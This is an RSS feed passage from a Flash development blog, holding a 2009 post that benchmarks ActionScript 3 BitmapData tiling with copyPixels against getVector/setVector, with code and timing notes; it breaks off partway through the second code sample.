<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>FlashFuck.it &#187; Flash Player 10</title>
	<atom:link href="http://www.flashfuck.it/category/flash-player/astro/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.flashfuck.it</link>
	<description>flash platform, gaming and 3D</description>
	<lastBuildDate>Tue, 27 Apr 2010 12:53:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>BitmapData manipulation benchmark</title>
		<link>http://www.flashfuck.it/2009/07/15/bitmapdata-manipulation-benchmark/</link>
		<comments>http://www.flashfuck.it/2009/07/15/bitmapdata-manipulation-benchmark/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 19:54:49 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flash Player 10]]></category>
		<category><![CDATA[benchmark]]></category>
		<category><![CDATA[BitmapData]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=144</guid>
		<description><![CDATA[Today I encountered this blog post from Zevan (which blog is REALLY a good daily reading I suggest everyone to take) about bitmapData merging and I started tweaking some code doing some benchmarks to find out which way is the most performing. Here are my tests:
First strike (Zevan&#8217;s one): copyPixels

?View Code ACTIONSCRIPT&#91;SWF&#40;width=650, height=650&#41;&#93;
var loader:Loader = [...]]]></description>
			<content:encoded><![CDATA[<p>Today I encountered <a href="http://actionsnippet.com/?p=1760">this blog post from Zevan</a> (which blog is REALLY a good daily reading I suggest everyone to take) about bitmapData merging and I started tweaking some code doing some benchmarks to find out which way is the most performing. Here are my tests:</p>
<p>First strike (Zevan&#8217;s one): <strong>copyPixels</strong></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p144code5'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1445"><td class="code" id="p144code5"><pre class="actionscript" style="font-family:monospace;"><span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">650</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">650</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #000000; font-weight: bold;">var</span> loader:Loader = <span style="color: #000000; font-weight: bold;">new</span> Loader<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #0066CC;">load</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> URLRequest<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;http://actionsnippet.com/wp-content/chair.jpg&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #006600;">contentLoaderInfo</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">COMPLETE</span>, onLoaded<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> w:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> h:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> rows:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> cols:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> tiles:Vector.<span style="color: #66cc66;">&lt;</span>BitmapData<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>BitmapData<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> onLoaded<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	w = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">width</span>;
	h = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">height</span>;
	<span style="color: #000000; font-weight: bold;">var</span> image:BitmapData = Bitmap<span style="color: #66cc66;">&#40;</span>evt.<span style="color: #0066CC;">target</span>.<span style="color: #006600;">content</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">bitmapData</span>;
	<span style="color: #000000; font-weight: bold;">var</span> tileWidth:<span style="color: #0066CC;">Number</span> = w <span style="color: #66cc66;">/</span> cols;
	<span style="color: #000000; font-weight: bold;">var</span> tileHeight:<span style="color: #0066CC;">Number</span> = h <span style="color: #66cc66;">/</span> rows;
	<span style="color: #000000; font-weight: bold;">var</span> inc:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>;
	<span style="color: #000000; font-weight: bold;">var</span> pnt:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> rect:Rectangle = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>rows; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> j:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; j<span style="color: #66cc66;">&lt;</span>cols; j ++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			 <span style="color: #000000; font-weight: bold;">var</span> currTile:BitmapData= <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span>tileWidth, tileHeight, <span style="color: #000000; font-weight: bold;">true</span>, 0x00000000<span style="color: #66cc66;">&#41;</span>;
			 rect.<span style="color: #006600;">x</span> = j <span style="color: #66cc66;">*</span> tileWidth;
			 rect.<span style="color: #006600;">y</span> = i <span style="color: #66cc66;">*</span> tileHeight;
			 currTile.<span style="color: #006600;">copyPixels</span><span style="color: #66cc66;">&#40;</span>image, rect, pnt, <span style="color: #000000; font-weight: bold;">null</span>, <span style="color: #000000; font-weight: bold;">null</span>, <span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>;
			 tiles<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = currTile;
			 rect.<span style="color: #006600;">x</span> += <span style="color: #cc66cc;">25</span>;
			 rect.<span style="color: #006600;">y</span> += <span style="color: #cc66cc;">25</span>;
			 sX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">x</span>;
			 sY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">y</span>;
			 locX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = -rect.<span style="color: #0066CC;">width</span> <span style="color: #66cc66;">*</span> <span style="color: #cc66cc;">2</span>
			 locY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> =  <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>;
			 setTimeout<span style="color: #66cc66;">&#40;</span>startAnimation, inc <span style="color: #66cc66;">*</span><span style="color: #cc66cc;">4</span> + <span style="color: #cc66cc;">100</span>, inc, rect.<span style="color: #006600;">x</span>, rect.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
			 inc++;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;copyPixels&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
	addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>, onLoop<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> startAnimation<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span>, dx:<span style="color: #0066CC;">Number</span>, dy:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> interval:<span style="color: #0066CC;">Number</span>;
	<span style="color: #000000; font-weight: bold;">var</span> animate:<span style="color: #000000; font-weight: bold;">Function</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
		locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dx - locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dy - locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dx<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">&amp;&amp;</span> <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dy<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dx;
			locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dy;
			<span style="color: #0066CC;">clearInterval</span><span style="color: #66cc66;">&#40;</span>interval<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
   interval = <span style="color: #0066CC;">setInterval</span><span style="color: #66cc66;">&#40;</span>animate, <span style="color: #cc66cc;">32</span>, <span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">var</span> canvas:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>,<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>,<span style="color: #000000; font-weight: bold;">false</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span>canvas<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> loc:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> onLoop<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span>
	  canvas.<span style="color: #006600;">fillRect</span><span style="color: #66cc66;">&#40;</span>canvas.<span style="color: #006600;">rect</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>tiles.<span style="color: #0066CC;">length</span>; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			<span style="color: #000000; font-weight: bold;">var</span> tile:BitmapData= tiles<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			loc.<span style="color: #006600;">x</span> = locX<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			loc.<span style="color: #006600;">y</span> = locY<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			canvas.<span style="color: #006600;">copyPixels</span><span style="color: #66cc66;">&#40;</span>tile, tile.<span style="color: #006600;">rect</span>, loc, <span style="color: #000000; font-weight: bold;">null</span>, <span style="color: #000000; font-weight: bold;">null</span>, <span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #66cc66;">&#125;</span>
	  <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;copyPixels&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>in my machine (mbp, osx) it takes <strong>~27</strong> ms to extract data and ~2-3ms each iteration for setting data on the canvas bitmapData</p>
<p>Second strike: getVector\<strong>setVector</strong></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p144code6'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1446"><td class="code" id="p144code6"><pre class="actionscript" style="font-family:monospace;"><span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">650</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">650</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #000000; font-weight: bold;">var</span> loader:Loader = <span style="color: #000000; font-weight: bold;">new</span> Loader<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #0066CC;">load</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> URLRequest<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;http://actionsnippet.com/wp-content/chair.jpg&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #006600;">contentLoaderInfo</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">COMPLETE</span>, onLoaded<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> w:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> h:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> rows:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> cols:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> tiles:Vector.<span style="color: #66cc66;">&lt;</span>Vector.<span style="color: #66cc66;">&lt;</span>uint<span style="color: #66cc66;">&gt;&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Vector.<span style="color: #66cc66;">&lt;</span>uint<span style="color: #66cc66;">&gt;&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> tileRect:Rectangle;
<span style="color: #000000; font-weight: bold;">var</span> locX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> onLoaded<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	w = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">width</span>;
	h = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">height</span>;
	<span style="color: #000000; font-weight: bold;">var</span> image:BitmapData = Bitmap<span style="color: #66cc66;">&#40;</span>evt.<span style="color: #0066CC;">target</span>.<span style="color: #006600;">content</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">bitmapData</span>;
	<span style="color: #000000; font-weight: bold;">var</span> tileWidth:<span style="color: #0066CC;">Number</span> = w <span style="color: #66cc66;">/</span> cols;
	<span style="color: #000000; font-weight: bold;">var</span> tileHeight:<span style="color: #0066CC;">Number</span> = h <span style="color: #66cc66;">/</span> rows;
	tileRect = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> inc:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>;
	<span style="color: #000000; font-weight: bold;">var</span> pnt:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> rect:Rectangle = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>rows; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> j:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; j<span style="color: #66cc66;">&lt;</span>cols; j ++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			 rect.<span style="color: #006600;">x</span> = j <span style="color: #66cc66;">*</span> tileWidth;
			 rect.<span style="color: #006600;">y</span> = i <span style="color: #66cc66;">*</span> tileHeight;
			 tiles<span style="color: #66cc66;">&#91;</span>tiles.<span style="color: #0066CC;">length</span><span style="color: #66cc66;">&#93;</span> = image.<span style="color: #006600;">getVector</span><span style="color: #66cc66;">&#40;</span>rect<span style="color: #66cc66;">&#41;</span>;
			 rect.<span style="color: #006600;">x</span> += <span style="color: #cc66cc;">25</span>;
			 rect.<span style="color: #006600;">y</span> += <span style="color: #cc66cc;">25</span>;
			 sX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">x</span>;
			 sY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">y</span>;
			 locX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = -rect.<span style="color: #0066CC;">width</span> <span style="color: #66cc66;">*</span> <span style="color: #cc66cc;">2</span>
			 locY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> =  <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>;
			 setTimeout<span style="color: #66cc66;">&#40;</span>startAnimation, inc <span style="color: #66cc66;">*</span><span style="color: #cc66cc;">4</span> + <span style="color: #cc66cc;">100</span>, inc, rect.<span style="color: #006600;">x</span>, rect.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
			 inc++;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;vector push:&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
	addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>, onLoop<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> startAnimation<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span>, dx:<span style="color: #0066CC;">Number</span>, dy:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> interval:<span style="color: #0066CC;">Number</span>;
	<span style="color: #000000; font-weight: bold;">var</span> animate:<span style="color: #000000; font-weight: bold;">Function</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
		locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dx - locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
